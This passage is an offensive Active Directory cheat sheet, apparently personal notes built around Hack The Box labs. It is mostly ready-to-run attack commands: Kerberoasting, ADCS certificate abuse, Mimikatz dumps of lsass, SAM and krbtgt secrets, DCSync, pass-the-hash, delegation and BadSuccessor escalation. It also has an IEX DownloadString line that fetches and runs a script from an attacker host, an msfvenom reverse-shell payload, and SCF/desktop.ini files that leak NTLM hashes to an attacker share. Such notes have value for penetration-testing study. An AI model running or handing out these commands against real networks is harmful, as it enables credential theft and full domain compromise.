$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<Domain>\<UserName>', $pass)

## ------------------| Method I
## Set a service principal name and kerberoast that account.
## To actually Kerberoast, We need to use an SPN with a valid format like MSSQLSvc/<Domain>:1433
Set-DomainObject -Identity <UserNameToSetSPN> -SET @{serviceprincipalname='MSSQLSvc/<Domain>:1433'}
## We can use inbuild binary : setspn -a MSSQLSvc/<Domain>:1433 <Domain>\<UserName>
## With creds : Set-DomainObject -Credential $cred -Identity <UserNameToSetSPN> -SET @{serviceprincipalname='MSSQLSvc/<Domain>:1433'}        
Get-DomainUser <UserNameToSetSPN> | Select serviceprincipalname
Get-DomainSPNTicket -SPN "MSSQLSvc/<Domain>:1433" -Credential $cred | fl
.\Rubeus.exe kerberoast /creduser:<Domain>\<UserName> /credpassword:Password123!

## ------------------| Method II
## Setting the logon script
cd C:\Windows\temp\
echo 'whoami > C:\\Windows\\temp\\poc.txt' > foo.ps1
Set-DomainObject -Credential $cred -Identity <UserName> -SET @{scriptpath='C:\\Windows\\temp\\\\foo.ps1'}

## ------------------| Linux env
sudo ntpdate "Domain"
git clone https://github.com/ly4k/Certipy.git && cd Certipy
python3 -m venv certipy-venv
source certipy-venv/bin/activate
pip install certipy-ad
certipy shadow auto -u "CurrentUserName" -p "CurrentPassword" -account "TargetUser" -dc-ip $IP
evil-winrm -i $IP -u "TargetUser" -H "NT-Hash"
```

### 03.5 **AddKeyCredentialLink**

```bash
## ------------------| Setup
wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/Whisker.exe
.\Whisker.exe add /target:<UserName>
## Then run Rubeus command and get the NTLM hash
evil-winrm -i <IP> -u <UserName> -H <Hash>
```

### 03.6 ADCSESC4

{% hint style="info" %}
The principal has permissions to modify one or more certificate templates, allowing them to configure the templates to meet ADCS ESC1 conditions—enabling specification of alternate subject names and certificate-based authentication. With enrollment permissions on an enterprise CA that trusts NT authentication and chains to the forest root CA, the principal can alter templates to enroll certificates impersonating any user or computer in the AD forest without needing their credentials, effectively enabling stealthy domain-wide impersonation via certificate authentication.
{% endhint %}

```bash
## ------------------| Linux with Certipy-AD
## Enumerate vulnerable certificate templates to identify potential ESC4 misconfigurations
certipy-ad find -u <USER> -p <PASS> -dc-ip $IP -stdout -vuln
## Modify a vulnerable template to enable ESC4 exploitation (allow enrollment with risky settings)
certipy-ad template -u <USER>@<DOMAIN> -p <PASS> -template <VulnTemplateName> -write-default-configuration -dc-ip $IP
## Re-check if the template is now ESC1 (ClientAuth + SAN enabled)
certipy-ad find -u <USER> -p <PASS> -dc-ip $IP -stdout -vuln
## Request a certificate for a high-privileged account (Administrator) using the modified template
certipy-ad req -u <USER>@<DOMAIN> -hashes <NTLM_HASH> -ca <CA_NAME> -template <VulnTemplateName> -upn administrator@<DOMAIN> -target <DC_SERVER_DOMAIN> -target-ip $IP
## Authenticate using the generated certificate to obtain a TGT
certipy auth -pfx administrator.pfx -domain <DOMAIN> -dc-ip $IP
## Connect to the target using the stolen credentials
evil-winrm -i $IP -u Administrator -H <NTLM_HASH>

## ------------------| PowerShell with Certify.exe
## Enumerate vulnerable certificate templates to identify potential ESC4 misconfigurations
Certify.exe find /vulnerable /domain:<DOMAIN> /username:<USER> /password:<PASS> /dc:$IP
## Modify a vulnerable template (requires AD CS write permissions; may need PowerView or similar for template modification)
## Note: Certify.exe doesn't directly support template modification, so use Set-DomainObject (from PowerView) to enable risky settings
Set-DomainObject -Identity <VulnTemplateName> -SET @{mspki-certificate-name-flag='ENROLLEE_SUPPLIES_SUBJECT';mspki-enrollment-flag='0'} -Credential $cred
## Re-check for vulnerabilities to confirm ESC4 conditions are met
Certify.exe find /vulnerable /domain:<DOMAIN> /username:<USER> /password:<PASS> /dc:$IP
## Request a certificate for a high-privileged account (Administrator) using the modified template
Certify.exe request /ca:<CA_NAME> /template:<VulnTemplateName> /altname:administrators@<DOMAIN> /domain:<DOMAIN> /username:<USER> /password:<PASS>
## Convert the certificate to PFX for authentication (use certutil or similar)
certutil -MergePFX <certificate_file>.cer administrator.pfx
## Authenticate using the certificate to obtain a TGT (use Rubeus or similar)
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /domain:<DOMAIN>
## Connect to the target using the stolen credentials (e.g., via PSRemoting or evil-winrm)
evil-winrm -i $IP -u Administrator -H <NTLM_HASH>
```

## 04. [**PowerMAD**](https://github.com/Kevin-Robertson/Powermad)

```bash
## ------------------| Add fake machine
wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
Import-Module Powermad.ps1
New-MachineAccount -MachineAccount <FakeComputerName> -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

## 05. Impacket's Collection &#x20;

### 05.1 [getPac](https://raw.githubusercontent.com/fortra/impacket/refs/heads/master/examples/getPac.py)

```bash
### Retrieves the Ticket Granting Ticket (TGT) from the Kerberos authentication system
## ------------------| Get Domain SID
impacket-getPac -targetUser Administrator <Domain>/<User>:<Password>
```

### 05.2 [getTGT](https://raw.githubusercontent.com/fortra/impacket/refs/heads/master/examples/getTGT.py)

```bash
### A tool to dump and parse the PAC (Privilege Attribute Certificate) in 
### Kerberos tickets, used in Kerberos-related attacks like Silver Ticket attacks.

## ------------------| 
impacket-getTGT <domain>/<username>:<password>
export KRB5CCNAME=<username>.ccache
klist 
```

### 05.3 **GetADUsers**

```bash
### Used to query and enumerate AD users from a target domain using LDAP

## ------------------| Basic
impacket-GetADUsers -all -dc-ip $IP <domain>/<user>
impacket-GetADUsers -all -dc-ip $IP <domain>/<username>:<password>
impacket-GetADUsers -all -dc-ip $IP <domain>/<user> -hashes <LM:NT>
```

### 05.4 [**GetUserSPNs**](https://raw.githubusercontent.com/fortra/impacket/master/examples/GetUserSPNs.py)

```bash
## ------------------| Purpose -> Kerberoasting
#### Enumerates AD accounts with Service Principal Names (SPNs) in an AD environment. 
#### Extracts Kerberos service tickets (TGS) for accounts with SPNs.
#### Useful for performing Kerberoasting, which cracks service account passwords offline.

## ------------------| Basic
impacket-GetUserSPNs -dc-ip $IP <domain>/<user> -no-pass
impacket-GetUserSPNs -dc-ip $IP <domain>/<user>:<password>

## ------------------| Requesting TGS Tickets for Kerberoasting
impacket-GetUserSPNs -request -dc-ip $IP <domain>/<user> -no-pass
impacket-GetUserSPNs -request -dc-ip $IP <domain>/<user>:<password>
impacket-GetUserSPNs -request -dc-ip $IP <domain>/<user> -hashes <LM:NT>

## ------------------| Use Kerberos authentication. Grabs credentials from ccache file
impacket-GetUserSPNs -request -k -no-pass -dc-host dc1.scrm.local <domain>/<user>
```

### 05.5 GetNPUsers

```bash
## ------------------| Purpose -> ASREPRoasting
#### Detects AD user accounts with the "Do not require Kerberos preauthentication" setting enabled.
#### Obtains encrypted TGTs for these accounts without requiring their passwords.

## ------------------| Check Kerberos pre-authentication disabled?
impacket-GetNPUsers -dc-ip $IP <domain>/<user> -no-pass    
impacket-GetNPUsers -dc-ip $IP -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt <domain>/     

## ------------------| Requesting TGTs 
impacket-GetNPUsers -dc-ip $IP -request '<domain>/'
impacket-GetNPUsers -dc-ip $IP -request <domain>/<username>:<password>
impacket-GetNPUsers -dc-ip $IP -request <domain>/<username> -hashes <LM:NT>
impacket-GetNPUsers -dc-ip $IP -request <domain>/ -format hashcat
```

### 05.6 RPCDump

```bash
impacket-rpcdump $IP

##  check if the spooler service is running
impacket-rpcdump $IP | grep -A2 -B2 MS-RPRN

#One potential service that could be leveraged to escalate privileges in the 
#domain is the Spooler service. This service allows triggering authentication as the 
#computer account of the host it's running on. This can then be relayed or cracked
```

### 05.7 gMSADumper

`gMSADumper.py` is a Python script designed to read and parse Group Managed Service Account (gMSA) password blobs in Active Directory (AD). It identifies which users or groups have permissions to read these password blobs and extracts the current password if accessible

```bash
## ------------------| If it has ReadGMSAPassword 
python3 gMSADumper.py -u <user> -p <password_or_LM:NT> -l <ldap_server_ip> -d <domain>      

## ------------------| Can verify the hash using crackmapexc
crackmapexec smb 10.10.10.248 -u svc_int$ -H b98d4cef68f72a98dfeed732d1b1abca

^^ If you have the hash; you can genarate a silver ticket. 
```

## 06. [Evil-WinRm](https://github.com/Hackplayers/evil-winrm)

```bash
## ------------------| Normal Usage
evil-winrm -u UserName -p Password -i $IP
evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i $IP

## ------------------| With SSL (port 5986)
evil-winrm -S -i $IP -c amanda.cer -k amanda.key -P 5986
evil-winrm -S -i $IP -c amanda.cer -k amanda.key -u amanda -P 5986

## If get message like "The term 'Invoke-Expression' is not recognized as the name of a cmdlet"
## The the language is constrained in the remote computer. Try this!!!
sudo apt-get install gss-ntlmssp
pwsh
$pass = ConvertTo-SecureString '<PassWord>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<ACCOUNT_NAME>', $pass)   
Enter-PSSession --ComputerName <IP> -credential $cred -Authentication Negotiate
```

## 07. PsExec

```bash
## ------------------| Enable access to $ADMIN C$, IP$ (Windows Administrative Shares)
REG add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

## ------------------| If we have R&W on SMB shares
impacket-psexec HTB/James:'J@m3s_P@ssW0rd!'@$IP

## ------------------| If you have NTML Hash [PassTheHash]
impacket-psexec Administrator@$IP -hashes <HASH>:<HASH> 
```

## 08. Mimikatz

> A tool for extracting plaintext credentials, hashes, and Kerberos tickets from memory. It is often used for credential dumping and escalating privileges.

* Most Popular Mimikatz Commands \[source : [adsecurity.org](https://adsecurity.org/?page_id=1821)]

```bash
CRYPTO::Certificates    # list/export certificates
KERBEROS::Golden        # create golden/silver/trust tickets
KERBEROS::List          # List all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current user’s tickets.Similar to functionality of “klist”.
KERBEROS::PTT           # pass the ticket. Typically used to inject a stolen or forged Kerberos ticket (golden/silver/trust).
LSADUMP::DCSync         # ask a DC to synchronize an object (get password data for account). No need to run code on DC.
LSADUMP::LSA            # Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use to dump all Active Directory domain credentials from a Domain Controller or lsass.dmp dump file. Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”
LSADUMP::SAM            # get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. This is used to dump all local credentials on a Windows computer.
LSADUMP::Trust          # Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). Dumps trust keys (passwords) for all associated trusts (domain/forest).
MISC::AddSid            # Add to SIDHistory to user account. The first value is the target account and the second value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.
MISC::MemSSP            # Inject a malicious Windows SSP to log locally authenticated credentials.
MISC::Skeleton          # Inject Skeleton Key into LSASS process on Domain Controller. This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as their usual password.
PRIVILEGE::Debug        # get debug rights (this or Local System rights is required for many Mimikatz commands).
SEKURLSA::Ekeys         # list Kerberos encryption keys
SEKURLSA::Kerberos      # List Kerberos credentials for all authenticated users (including services and computer account)
SEKURLSA::Krbtgt        # get Domain Kerberos service account (KRBTGT)password data
SEKURLSA::LogonPasswords #lists all available provider credentials. This usually shows recently logged on user and computer credentials.
SEKURLSA::Pth           # Pass- theHash and Over-Pass-the-Hash
SEKURLSA::Tickets       # Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computer’s AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).
TOKEN::List             # list all tokens of the system
TOKEN::Elevate          # impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box
TOKEN::Elevate /domainadmin # impersonate a token with Domain Admin credentials.
```

* Dump all user's `ntlm` hashes.

```bash
.\mimikatz.exe "token::elevate" "lsadump::sam" "exit" >> mimikatz-sam.out
.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit" >> mimikatz-lsa.out
```

* Dump passwords using `lsass`

```bash
## ------------------| Using Mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> mimikatz-lsass.out       

## ------------------| If you have lsass as Mini DuMP or Rekall
pip3 install pypykatz
pypykatz lsa minidump lsass.DMP --json
```

* Export Kerberos tickets.

```bash
kerberos::list /export
```

* Extract krbtgt Hash

```bash
.\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" "exit" >> mimikatz-krbtgt.out       
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:<DOMAIN> /user:krbtgt" "exit" >> mimikatz-krbtgt2.out        
```

* OverPassTheHash

```bash
## ------------------| Login as another user
privilege::debug
sekurlsa::pth /user:[USER] /domain:[DOMAIN] /ntlm:[NTLM HASH] /run:"powershell -EncodedCommand SQBF..DFSS=="      

## ------------------| Login to Domain Controller machine
net use \\<DC>
.\PsExec.exe -accepteula \\<DC> cmd.exe 
```

* Set password for account

<pre class="language-bash"><code class="lang-bash"><strong>.\mimikatz.exe "lsadump::setntlm /user:USERNAME /ntlm:NTLMHASH" "exit"
</strong></code></pre>

## 09. [RustHound-CE](https://github.com/g0h4n/RustHound-CE)

```bash
## ------------------| Install
sudo apt install cargo
cargo install rusthound-ce

## ------------------| Collection
rusthound-ce --domain '<Domain>' -u '<Username>' -p '<Password>' -z
```

## 10. [SharpHound](https://github.com/BloodHoundAD/SharpHound)

```bash
## ------------------| Load SharpHound.ps1
## https://github.com/SpecterOps/SharpHound/releases
IEX(New-Object Net.WebClient).DownloadString('http://$IP/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All

## ------------------| Collect info
.\SharpHound.exe -c All,GPOLocalGroup,LoggedOn
.\SharpHound.exe -c All -d <DomainName>
.\SharpHound.exe --CollectionMethods All,GPOLocalGroup,LoggedOn

## ------------------| Usage
-c, --CollectionMethods    ## Collection methods: 
                             # Default, All, DCOnly, Session, 
                             # LoggedOn, Group, ACL, GPOLocalGroup, 
                             # LocalGroup, ObjectProps, Trusts, RDP, 
                             # DCOM, Container
-d, --Domain               ## Specify AD domain to collect from (e.g., contoso.local)
-s, --SearchForest         ## Search all domains in the current forest
--CollectionTimeout        ## Timeout in seconds for each collection method.
--Stealth                  ## Perform stealth collection, targets likely data-rich systems
--MemoryCache              ## Keep cache in memory instead of writing to disk.
--ComputerFile             ## Load file with computer names/IPs for collection
--SearchBase               ## Base DN to start search (e.g., OU=New York,DC=Contoso,DC=Local)
--LdapFilter               ## Collect data only from principals matching LDAP filter
--OutputDirectory          ## Set folder for output files (e.g., C:\temp)
--OutputPrefix             ## Prepend string to JSON/ZIP file names
--ZipFileName              ## Specify output ZIP filename
--ZipPassword              ## Password-protect the ZIP file
--NoZip                    ## Skip zipping JSON files
--PrettyJson               ## Output indented JSON for readability
--OverrideUserName         ## Set username for runas /netonly authentication
--CollectAllProperties     ## Collect all string-valued LDAP properties
--WindowsOnly              ## Limit collection to Windows OS systems
--Loop                     ## Loop computer-based collection (e.g., Session)
--LoopDuration             ## Looping duration in HH:MM:SS (default: 02:00:00)
--LoopInterval             ## Pause between loops in HH:MM:SS
--DomainController         ## Target specific domain controller by IP/name
--LdapPort                 ## Set custom LDAP port (default: 0)
--SecureLdap               ## Use Secure LDAP (port 636)
--DisableCertVerification  ## Skip Secure LDAP cert verification
--DisableSigning           ## Disable Kerberos signing/sealing
--SkipPortCheck            ## Skip port 445 checks
--PortCheckTimeout         ## Port check timeout in milliseconds (default: 500)
--SkipPasswordCheck        ## Skip PwdLastSet age check for computers
--ExcludeDCs               ## Exclude domain controllers from enumeration
--Throttle                 ## Add delay after computer requests (ms)
--Jitter                   ## Add percentage jitter to throttle
--Threads                  ## Set number of threads (default: 50)
--SkipRegistryLoggedOn     ## Skip registry-based session enumeration
--LocalAdminSessionEnum    ## Use dedicated local user for session enum
--LocalAdminUsername       ## Username for local admin session enum
--LocalAdminPassword       ## Password for local admin session enum
--CacheFileName            ## Set cache filename (default: .bin)
--MemCache                 ## Keep cache in memory, skip disk write
--NoSaveCache              ## Don’t save cache to disk
--InvalidateCache          ## Rebuild cache file
--DisableAdminCheck        ## Skip checking if users are local admins.
--DisableLastLogon         ## Skip collecting lastLogonTimestamp.
--SkipComputerLookup       ## Skip DNS resolution of computer names.
--SkipPortScan             ## Skip port scan checks during Session/LoggedOn collection.
--RandomFileName           ## Randomize the output ZIP file name.
--CustomConfig             ## Path to a custom config JSON file.
--CollectionConfig         ## Path to a JSON file defining advanced collection config
```

## 11. BloodHound

* [BloodHound CE](https://github.com/SpecterOps/bloodhound-cli)

```bash
## ------------------| Install 
./bloodhound-cli install

## ------------------| Reset Pass
./bloodhound-cli resetpwd
```

* BloodHound-Python

```bash
## ------------------| Install via pip
pip3 install bloodhound
bloodhound-python -u <username> -p '<password>' -d <domain> -ns $IP --dns-tcp -c All --zip

## ------------------| Install
git clone https://github.com/dirkjanm/BloodHound.py.git && cd BloodHound
python3 bloodhound.py -d <domain> -u <username> -p '<password>' -gc <domain> -c all -ns <IP> --zip --dns-timeout 30

## ------------------| Usage
-u              Username. Format: username[@domain]; If the domain is unspecified, the current domain is used.
-p              Password
-k              Use kerberos
--hashes        LM:NLTM hashes
-ns             Alternative name server to use for queries
--dns-tcp       Use TCP instead of UDP for DNS queries
--dns-timeout   DNS query timeout in seconds (default: 3)
-d              Domain to query.
-dc             Override which DC to query (hostname)
-gc             Override which GC to query (hostname)
-w              Number of workers for computer enumeration (default: 10)
-v              Enable verbose output
```

* BloodHound & neo4j raw queries. \[[source](https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/)]

```bash
## ------------------| List all users
MATCH (u:User) return u
MATCH (u:User) return u LIMIT 10

## ------------------| List users with properties
MATCH (u:User) WHERE u.name CONTAINS "ADMIN" return u.name, u.displayname, u.description

## ------------------| List computers which enable LAPS
MATCH (c:Computer) RETURN c.haslaps, COUNT(*)
```

## 12. [Certipy](https://github.com/ly4k/Certipy)

{% hint style="info" %}
**Certipy** is a Python tool used to enumerate and exploit Active Directory Certificate Services (ADCS) for privilege escalation, requiring valid domain credentials to use.
{% endhint %}

```bash
## ------------------| Check if the ADCS is installed and running
(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc").ImagePath -like "*certsrv.exe"

## ------------------| Install via Git
git clone https://github.com/ly4k/Certipy.git && cd Certipy
python3 -m venv certipy-venv
source certipy-venv/bin/activate
pip install certipy-ad

## ------------------| Check Vulnerabilities
certipy find -u <user> -p <pass> -dc-ip $IP -vulnerable

## ------------------| Install via APT
pip install certipy-ad
sudo apt-get install python3-certipy

## ------------------| Misc
--target                 ## IP or FQDN of domain controller.
--dc                     ## Specific domain controller to contact.
--template               ## Certificate template to use.
--ca                     ## Certificate Authority name.
--alt                    ## Alternative name (e.g., alt UPN or DNS).
--pfx                    ## Use PFX certificate file.
--ptt                    ## Inject TGT into current session (Pass-the-Ticket).
--save-pfx               ## Save PFX file when requesting a certificate.

## ------------------| Enumeration
certipy-ad find -u <user> -p <pass> -target $IP -stdout         ## Enumerate ADCS templates and misconfigurations.
certipy-ad find -u <user> -p <pass> -target $IP -vuln -stdout   ## Enumerate vulnarable ADCS templates.

## ------------------| Request Certificate
certipy-ad req -u <user> -p <pass> -ca <ca_name> -template <template>                      ## Request a certificate using specified template.
certipy-ad req -u <user> -p <pass> -target $IP -template <template> --alt <ALT>            ## Request with alt name (e.g., alt UPN).
certipy-ad req -u <user> -p <pass> -ca <ca_name> -template <template> -upn <UPN> -dc $IP   ## Custom UPN for impersonation.

## ------------------| Authenticate using Certificate
certipy-ad auth -pfx <user.pfx>                           ## Authenticate to AD using PFX cert.
certipy-ad auth -pfx <user.pfx> -dc $IP                   ## Authenticate with domain controller specified.
certipy-ad auth -pfx <user.pfx> -username <user>          ## Authenticate with cert while specifying username.

## ------------------| PKINIT TGT Request
certipy-ad req -u <user> -p <pass> -ca <ca> -template <template> -dc $IP --save-pfx        ## Save cert to PFX for PKINIT.
certipy-ad auth -pfx <user.pfx> --ptt                     ## Inject TGT (Pass-the-Ticket).

## ------------------| Dump and Convert
certipy-ad cert -pfx <user.pfx> -output <output_folder>   ## Extract and convert certificate data.
certipy-ad cert -file <cert.cer>                          ## Analyze a standalone certificate file.

## ------------------| Auto Exploit (ESC1 - ESC8)
certipy-ad auto -u <user> -p <pass> -target $IP           ## Automatically exploit vulnerable ADCS paths.
```

## 13. [Krbrelayx](https://github.com/dirkjanm/krbrelayx)

* [DNSTool.py](https://raw.githubusercontent.com/dirkjanm/krbrelayx/refs/heads/master/dnstool.py)

```bash
## ------------------| Add DNS Record
python3 dnstool.py -u 'intelligence\tiffany.molina' -p <password> -r h4rithd -a add -t A -d <myIP> <RemoteIP>       

#### -u intelligence\Tiffany.Molina - The user to authenticate as;
#### -p <password> - The user’s password;
#### --action add - Adding a new record;
#### --record h4rithd - The domain to add;
#### --data <MyIP> - The data to add, in this case, the IP to resolve h4rithd to;
#### --type A - The type of record to add.

## ------------------| Check if it success
nslookup 
> server <RemoteIP>
> h4rithd.intelligence.htb 
## If it display my ip; we are good!!##
```

## 14. [Covenant](https://github.com/cobbr/Covenant)

```bash
## The SharpUp command can be used to run privilege escalation checks
sharpup audit

## The shellcmd grunt command is used to issue shell commands
shellcmd whoami

## Import PowerShell script
PowerShellImport // PowerView.ps1

## Execute powershell script
PowerShell Get-DomainComputer | Select name

## kerberoast the users, MakeToken before run this command
Rubeus kerberoast
Kerberoast <UserName> hashcat

## impersonate (login to user) users using the MakeToken command
MakeToken username domainname password LOGON32_LOGON_INTERACTIVE

## DCSync
DCSync Administrator
```

## 15. Other Commands

* Mount shares to linux machine

```bash
## ------------------| Setup
sudo apt-get install cifs-utils
sudo mkdir /mnt/shares
sudo chmod 777 /mnt/shares

## ------------------| Mount shares
sudo mount -t cifs //$IP/Users /mnt/shares
sudo mount -t cifs -o 'username=L.Frost,password=welcome2019' //$IP/Users /mnt/shares                    

## ------------------| Mount Options
-o 'username=L.Frost,password=welcome2019'
-o 'vers=2.0' ## can be change to vers=1.0 and vers=3.0
-o 'dir_mode=0755,file_mode=0755'

## ------------------| Usage of Thunar 
thunar smb://$IP/
```

* Mounting VHD file on Kali Linux through remote share

```bash
apt-get install libguestfs-tools
apt-get install cifs-utils

guestmount --add /mnt/remote/path/to/vhdfile.vhd --inspector --ro /mnt/vhd -v
```

* Get Deleted items from AD

```bash
Get-ADObject -SearchBase "CN=Deleted Objects,DC=Cascade,DC=Local" -Filter {ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *    
```

## 16. Other Exploits

#### BadSuccessor

```bash
## ------------------| Initial Setup
wget https://raw.githubusercontent.com/b5null/Invoke-BadSuccessor.ps1/refs/heads/main/Invoke-BadSuccessor.ps1
wget https://github.com/h4rithd/PrecompiledBinaries/raw/refs/heads/main/Rubeus/Rubeus.exe
Import-Module .\Invoke-BadSuccessor.ps1
Invoke-BadSuccessor
.\Rubeus.exe hash /password:'Password123!' /user:Pwn$ /domain:eighteen.htb
.\Rubeus.exe asktgt /user:Pwn$ /aes256:<aes256_cts_hmac_sha1> /domain:eighteen.htb /nowrap
.\Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /opsec /ptt /nowrap /outfile:ticket.kirbi /ticket:<base64(ticket.kirbi)>
klist

## ------------------| Local
## This methord will not work if you are in Evil-WinRM session.
## When you connect to a machine using Evil-WinRM, Windows authenticates you using a Network Logon (Logon Type 3).
## By design, Windows security strictly forbids a Network Logon session from delegating credentials to a secondary network resource.
msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f exe > h4rithd.exe 
.\Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /ticket:<base64(ticket.kirbi)> /ptt /createnetonly:"C:\programdata\h4rithd\h4rithd.exe"

## ------------------| Remote
### set the time first
[DateTime]::UtcNow.ToString("yyyy-MM-dd HH:mm:ss")
sudo date -u -s '2026-01-21 21:40:36'
### Download the ticket.kirbi file in to kali
impacket-ticketConverter ticket.kirbi attacker.ccache 
export KRB5CCNAME=$(pwd)/attacker.ccache
### Update the /etc/hosts file before throw following command 
impacket-psexec 'eighteen.htb/attacker_dMSA$'@$DC01.eighteen.htb$ -k -no-pass
```

#### [ADCS ESC16](https://youtu.be/KvUC7bakm-E?t=1563)

```bash
## ------------------| Vuln?
certipy find -u '<username>' -p '<password>' -dc-ip $IP -vulnerable
### ESC16  : Security Extension is disabled.

## ------------------| Exploit
certipy account -dc-ip $IP -u '<username>' -p '<password>' -user 'ca_svc' read
#### Check currentPrincipalName is equal to ca_svc
certipy account -u '<username>' -p '<password>'  -dc-ip $IP -user 'ca_svc' -upn administrator update
certipy req -u 'ca_svc' -p '<password>' -dc-ip $IP -ca FLUFFY-DC01-CA -template User -upn administrator
certipy account -u '<username>' -p '<password>' -dc-ip $IP -user 'ca_svc' -upn ca_svc update 
certipy auth -dc-ip $IP -pfx administrator.pfx -username administrator -domain fluffy.htb
```

#### [Unconstrained Delegation + The PrinterBug = DCSync](https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976)

```bash
## ------------------| Reconnaissance
## Upload following files to compromised machine.
wget https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1
wget https://github.com/samratashok/ADModule/raw/master/Microsoft.ActiveDirectory.Management.dll
. .\Import-ActiveDirectory.ps1
Import-ActiveDirectory -ActiveDirectoryModule C:\Full\Path\Microsoft.ActiveDirectory.Management.dll
Get-ADComputer -Filter {TrustedForDelegation -eq $True}

## ------------------| Exploitation Printer Bug
wget https://raw.githubusercontent.com/h4rithd/PrecompiledBinaries/main/Rubeus/Rubeus.exe
wget https://raw.githubusercontent.com/h4rithd/PrecompiledBinaries/main/SpoolSample/MS-RPRN.exe

./Rubeus.exe monitor /interval:5 /nowrap ## Terminal 01 (shell 01)
./MS-RPRN.exe DC01 DC02 ## Terminal 02 (shell 02) [need nt authority\system]

## DC01 is the domain controller we want to compromise.
## DC02 is the machine with delegation enabled that we control.
tasklist /SVC | findstr Rubeus.exe
taskkill /F /PID <PID>

## ------------------| Get TGT
## [need nt authority\system]
./Rubeus.exe ptt /ticket:doIFyDCCBcSgAw.....sdoIFyDC== 
./Rubeus.exe klist

## ------------------| DCSync 
./mimikatz.exe "lsadump::dcsync" "/user:<USERNAME>\krbtgt" "exit"
```

#### [Resource Based Constrained Delegation \[Domain Escalation\]](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation)

```bash
## ------------------| Identify the vulnarability
### If you have GenericAll/GenericWrite/Write on a Computer object, you are welcome!!
### Check if the value is 10?
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select ms-ds-machineaccountquota
### Check if the os is greater than or equal to Windows 2012 
Get-DomainController | select OSVersion

## ------------------| Exploit [PART I]
Import-Module ./Powermad.ps1
### Create new fake computer object inside the domain
New-MachineAccount -MachineAccount FAKEMACHINE -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Get-DomainComputer FAKEMACHINE
### Using AD PowerShell module, give the new fake computer object the Constrained Delegation privilege.
Set-ADComputer <TargetComputer> -PrincipalsAllowedToDelegateToAccount FAKEMACHINE$
Get-ADComputer <TargetComputer> -Properties PrincipalsAllowedToDelegateToAccount

## ------------------| Exploit [PART II]
### Performing a complete S4U attack
.\Rubeus.exe hash /password:123456 /user:FAKEMACHINE$ /domain:domain.local
### Note-down the aes256_cts_hmac_sha1 hash

## ------------------| Exploit [PART III]
### generate a ccached TGT and used KERB5CCNAME pass the ccahe file for the requested service. 
impacket-getST domain.local/FAKEMACHINE -dc-ip <IP> -impersonate administrator -spn http/victim.domain.local -aesKey <AES_KEY>
export KRB5CCNAME=administrator.ccache
### We must set /etc/hosts file to map the domain name & hostname to the victim’s IP address
impacket-smbexec domain.local/administrator@victim.domain.local -no-pass -k
impacket-psexec domain.local/administrator@victim.domain.local -no-pass -k
```

* File Attacks \[`if you can write anything`]

```bash
## ------------------| Automated
git clone https://github.com/Greenwolf/ntlm_theft.git && cd ntlm_theft
python3 ntlm_theft.py -g all -s <IP> -f h4rithd
## this will genarate all file formats including desktop.ini 

## ------------------| Create payload for SCF File Attack > stealhash.scf 
[Shell]
Command=2
IconFile=\\<YourP>\share\h4rithd.ico
[Taskbar]
Command=ToggleDesktop

## ------------------| Create payload for Desktop.ini File Attack
[.ShellClassInfo]
IconResource=\\<YourP>\aa

## ------------------| Start responder 
sudo responder -I tun0
# Then copy the scf file to users desktop or anywhere.
```

* If you get `STATUS_PASSWORD_MUST_CHANGE` ; Reset SMB Password

```bash
## ------------------| If you are from linux env
smbpasswd -U <UserName> -r <RemoteMachineIP>
smbpasswd -U <Domain>/<UserName> -r <RemoteMachineIP>

## ------------------| If you are from Windows env (Powershell)
$username = 'phinchley'
$dc = 'dc.lab.hinchley.net'

$old = 'Passw0rd1#'
$new = 'Something!'

$code = @'
[DllImport("netapi32.dll", CharSet = CharSet.Unicode)]
public static extern bool NetUserChangePassword(string domain, string username, string oldpassword, string newpassword);
'@

$NetApi32 = Add-Type -MemberDefinition $code -Name 'NetApi32' -Namespace 'Win32' -PassThru

if ($result = $NetApi32::NetUserChangePassword($dc, $username, $old, $new)) {
  write-host 'Password change failed.'
} else {
  write-host 'Password change successful.'
}
```

